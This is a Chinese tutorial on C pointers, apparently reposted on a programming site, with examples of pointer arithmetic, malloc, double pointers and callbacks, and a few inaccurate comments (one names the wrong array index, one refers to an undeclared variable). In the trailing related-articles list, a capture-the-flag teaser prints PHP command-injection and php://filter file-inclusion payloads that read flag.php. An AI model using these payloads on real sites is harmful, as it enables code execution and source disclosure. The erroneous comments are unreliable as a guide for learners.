C 语言学习七:指针

news2024/11/15 9:13:18

指针

  • 指针与地址
    • 指针的声明和初始化
    • 指针的解引用
    • 指针的比较
    • 指针和数组
    • 指针数组
    • 指针和动态内存分配
  • 指针与函数参数
    • 指针作为函数参数
    • 二级指针
  • 指向函数的指针

指针与地址

指针的声明和初始化

int variable = 42;
int *ptr = &variable;
//间接访问
int value = *ptr; // value 等于 x 的值,即 42

char str[] = "Hello"; // 字符串数组
const char* ptr = "World";  // 字符串指针
  • 空指针:未指向任何对象的指针

    int *ptr = NULL;
    

指针的解引用

通过指针可以访问或修改其指向的变量的值,通过使用解引用操作符 * 完成。

int value = *ptr;  // 通过指针获取变量的值
*ptr = 10;         // 通过指针修改变量的值

指针的比较

指针可以进行大小比较,但要注意指针比较的是地址而不是指向的值

#define _CRT_SECURE_NO_WARNINGS 
#include <stdio.h>
int main() {
    int arr[5] = { 1, 2, 3, 4, 5 };
    int* ptr1 = arr;
    int* ptr2 = arr + 2;
    printf("*ptr1=%d\n", *ptr1);
    printf("*ptr2=%d\n", *ptr2);
    printf("ptr1=%d\n", ptr1);
    printf("ptr2=%d\n", ptr2);
    if (ptr1 < ptr2) {
        // 执行此处代码
    }
    return 0;
}

在这里插入图片描述

指针和数组

指针可以进行算术运算,例如指针加法和指针减法。在数组遍历和动态内存管理中非常有用(区分开地址和值的变化

#define _CRT_SECURE_NO_WARNINGS 
#include <stdio.h>

int main() {
    int arr[5] = { 1, 2, 3, 4, 5 };
    int* ptr = arr;
    // 指针加法
    ptr = ptr + 2; // 移动两个元素
    *ptr = *ptr - 1;	//值变化
    printf("*ptr=%d", *ptr);
    // 现在 ptr 指向 arr[1]
    return 0;
}

指针数组

  1. 定义: 指针数组是一个数组,其元素都是指针

    int *ptrArray[5]; // 声明一个包含 5 个指针的数组
    
  2. 初始化:指针数组的每个元素必须指向相同类型或相同结构的数据

    int a = 5, b = 10, c = 15;
    int *ptrArray[3] = {&a, &b, &c}; // 初始化指针数组
    
  3. 使用:当需要一次性操作多个相关的指针,而这些指针的数量可能在运行时发生变化时,使用指针数组能够更方便地管理这些指针。

指针和动态内存分配

malloc、calloc、realloc 和 free 等函数用于动态内存分配和释放,返回的是指向动态分配内存的指针。

int *dynamicArray = (int *)malloc(5 * sizeof(int));

指针与函数参数

指针作为函数参数

  • 函数可以接受指针作为参数,允许函数修改调用者提供的变量的值

    void modifyValue(int *ptr) {
        *ptr = 100;
    }
    
    int main() {
        int value = 42;
        modifyValue(&value);
        // 此时 value 的值变为 100
    }
    
  • 同样的也可以修改数组的元素

    void modifyArray(int *arr, int size) {
        for (int i = 0; i < size; ++i) {
            arr[i] *= 2;
        }
    }
    
    int main() {
        int arr[] = {1, 2, 3, 4, 5};
        modifyArray(arr, 5);	//数组名就是数组的首地址
        // 此时 arr 变为 {2, 4, 6, 8, 10}
    }
    

二级指针

动态分配内存为例
当传递一个指针给函数时,传递的是指针的拷贝。如果在函数内部分配了新的内存,并将这个新内存的地址赋给传入的指针,这对于调用者的指针没有影响。为了解决这个问题,可以传递一个指针的指针,也就是二级指针

void allocateMemory(int **ptr) {
    *ptr = (int *)malloc(sizeof(int));
    **ptr = 42;
}

int main() {
    int *dynamicValue;
    allocateMemory(&dynamicValue);
    // 此时 dynamicValue 指向了动态分配的内存,其值为 42
}

int **ptr 表示一个指向指针的指针。这是为了能够在函数内部修改指针的值。

指向函数的指针

  1. 定义函数指针:函数指针的声明形式类似于函数声明,只需在函数名前面加上指针类型,例如int (*ptr)(int, int);表示 ptr 是一个指向接受两个整数参数并返回整数的函数的指针

  2. 初始化函数指针:ptr = &add;其中 add 是一个函数,ptr 就指向了这个函数

  3. 用途:
    回调函数: 当你需要在某个地方注册一个函数,以便在特定事件发生时调用它时,函数指针就非常有用。例如,你可能有一个事件处理器,允许用户注册一个函数,然后在某个事件发生时调用该函数

    // 使用函数指针实现回调
    void eventHandler(void (*callback)(int)) {
        // 做一些操作
        int data = 42;
        // 调用注册的回调函数
        callback(data);
    }
    
    // 注册的回调函数
    void myCallback(int value) {
        printf("Callback called with value: %d\n", value);
    }
    
    int main() {
        // 在事件处理器中注册回调函数
        eventHandler(myCallback);
    
        return 0;
    }
    

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1439135.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

CTFshow web(命令执行29-36)

?ceval($_GET[shy]);&shypassthru(cat flag.php); #逃逸过滤 ?cinclude%09$_GET[shy]?>&shyphp://filter/readconvert.base64-encode/resourceflag.php #文件包含 ?cinclude%0a$_GET[cmd]?>&cmdphp://filter/readconvert.base64-encode/…

2024/2/7总结

Node.js 什么是node.js node.js是一个基于chrome v8 引擎的 JavaScript 运行环境。 浏览器是JavaScript的前端运行环境node.js是JavaScript的后端运行环境 node.js中无法调用DOM和BOM等浏览器内置API fs模块 是node.js官方提供的、用来操作文件的模块&#xff0c;它提供了一系…

后端创建订单

package com.java1234.entity;import io.jsonwebtoken.Claims;/*** jwt验证信息* author java1234_小锋* site www.java1234.com* company Java知识分享网* create 2019-08-13 上午 10:00*/ public class CheckResult {private int errCode;private boolean success;private Cl…

登录+JS逆向进阶【过咪咕登录】(附带源码)

JS渗透之咪咕登录 每篇前言&#xff1a;咪咕登录参数对比 captcha参数enpassword参数搜索enpassword参数搜索J_RsaPsd参数setPublic函数encrypt加密函数运行时可能会遇到的问题此部分改写的最终形态JS代码&#xff1a;运行结果python编写脚本运行此JS代码&#xff1a;运行结果&…

Powershell Install 一键部署Openssl+certificate证书创建

前言 Openssl 是一个方便的实用程序,用于创建自签名证书。您可以在所有操作系统(如 Windows、MAC 和 Linux 版本)上使用 OpenSSL。 Windows openssl 下载 前提条件 开启wmi,配置网卡,参考 自签名证书 创建我们自己的根 CA 证书和 CA 私钥(我们自己充当 CA)创建服务器…

2024.2.6

1.现有无序序列数组为23,24,12,5,33,5347&#xff0c;请使用以下排序实现编程 函数1:请使用冒泡排序实现升序排序 函数2:请使用简单选择排序实现升序排序 函数3:请使用快速排序实现升序排序 函数4:请使用插入排序实现升序排序 #include<stdio.h> #include<string.h&g…

详述FlinkSql Join操作

FlinkSql 的 Join Flink 官网将其分为了 Joins 和 Window Joins两个大类&#xff0c;其中里面又分了很多 Join 方式 参考文档&#xff1a; Joins | Apache Flink Window JOIN | Apache Flink Joins 官网介绍共有6种方式&#xff1a; Regular Join&#xff1a;流与流的 Joi…

postman执行批量测试

1.背景 有许多的人常常需要使用第三方系统进行重复的数据查询&#xff0c;本文介绍使用PostMan的方式对数据进行批量的查询&#xff0c;减少重复的劳动。 2.工具下载 3.初入门 一、如图示进行点击&#xff0c;创建collection 二、输入对应的名称 三、创建Request并进行查…

Leetcode3020. 子集中元素的最大数量

Every day a Leetcode 题目来源&#xff1a;3020. 子集中元素的最大数量 解法1&#xff1a;哈希 枚举 用一个哈希表统计数组 nums 中的元素及其出现次数。 暴力枚举数组中的数&#xff0c;作为 x&#xff0c;然后不断看 x2,x4,⋯ 在数组中的个数。直到个数不足 2 个为止&a…

ChatGPT高效提问—prompt常见用法(续篇三)

ChatGPT高效提问—prompt常见用法&#xff08;续篇三&#xff09; 1.1 多选项 ​ 多选项技术为模型提供了一个清晰的问题或任务&#xff0c;并附带一组预先定义的潜在答案。这种方法在生成仅限于特定选项集的文本方面表现出色&#xff0c;适用于问答、文本补全和其他任务。利…

win10系统连接WiFi,输入正确密码,但还是提示错误

情况 电信宽带 mac和小米手机都可以连上wifi dell上的windows输入正确的密码还是提示错误 解决办法 根据路由器上的终端配置进入网页进行配置&#xff0c;我的是192.168.1.1&#xff0c;账户:useradmin 修改无线网络设置中的加密方式&#xff0c;由Mixed WPA2/WPA-PSK改为W…

【社交电商】带直播电商功能,可以DIY前端,可以H5和小程序一般商城常用功能齐全

第一次接触这个系统&#xff0c;感觉和微擎有点像。也是一个主体&#xff0c;也很多插件的那种。 测试了下。安装成功了&#xff0c;站长亲测没有问题&#xff0c;一切都挺完善的&#xff0c;不过系统比较庞大&#xff0c;可能新手熟悉起来要一定的过程。 站长整理了一份简要…

WordPress突然后台无法管理问题

登录WordPress后台管理评论&#xff0c;发现点击编辑、回复均无反应。 尝试清除缓存、关闭CF连接均无效。 查看插件时发现关闭wp-china-yes插件可以解决问题。 后来又测试了下发现加速管理后台这项&#xff0c;在启用时会发生点击无效问题&#xff0c;禁用就好了&#xff0c;不…

Airtest实现在手机界面快速批量采集数据

Airtest实现在手机界面快速批量采集数据 一、问题 Airtest使用的poco方法比较慢,寻找差不多一周,看完这篇文章能节省一周时间,希望帮到大家。二、解决思路 使用Airtest图像识别,这样就会速度上提升效率。 三、解决办法 使用页面规律,要找到每条数据的附近规律(一般是图…

简单说网络:TCP+UDP

TCP和UPD: (1)都工作在传输层 (2)目的都是在程序之中传输数据 (3)数据可以是文本、视频或者图片(对TCP和UDP来说都是一堆二进制数没有太大区别) 一、区别:一个基于连接一个基于非连接 将人与人之间的通信比喻为进程和进程之前的通信:基本上有两种方式(1)写信;(2)打电话;这…

【数据结构】链表OJ面试题2《分割小于x并排序链表、回文结构、相交链表》+解析

1.前言 前五题在这http://t.csdnimg.cn/UeggB 休息一天&#xff0c;今天继续刷题&#xff01; 2.OJ题目训练 1. 编写代码&#xff0c;以给定值x为基准将链表分割成两部分&#xff0c;所有小于x的结点排在大于或等于x的结点之前 。链表分割_牛客题霸_牛客网 思路 既然涉及…

naiveui 上传图片遇到的坑 Upload

我在开发图片上传功能, 需要手动触发上传 但是我调用它内部自定义submit方法, 结果接口一直在报错400 我反反复复的测试了好就, 确定了就是我前端的问题,因为之前一直在做后端的错误排查, 以为是编译问题(因为之前也出现过这个问题) 好 , 我把其中一个参数类型改为String类型, …

NC6X单点登录设计文档说明

前言 因为业务场景需要&#xff0c;第三方系统有些工作需要经常到NC系统里做&#xff0c;如果每次去NC系统做业务单据&#xff0c;都需要反复登录&#xff0c;导致客户使用体验不是很好&#xff0c;所以需要开发实现从第三方系统单点登录到NC系统&#xff0c;提高客户满意度。 …

电力负荷预测 | 基于GRU门控循环单元的深度学习电力负荷预测,含预测未来(Python)

文章目录 效果一览文章概述源码设计参考资料效果一览 文章概述 电力负荷预测 | 基于GRU门控循环单元的深度学习电力负荷预测,含预测未来(Python&

开源!免费!Hugging Face推出GPT商城

Hugging Face发布开源AI助手制造工具&#xff0c;与OpenAI的定制GPT形成竞争 Hugging Face今年1月31日推出一款开源AI代码库——Hugging Chat Assistants&#xff0c;允许用户轻松创建特定功能的定制AI聊天机器人。 不同于OpenAI的ChatGPT商城需要每月20美金成为会员才能使用…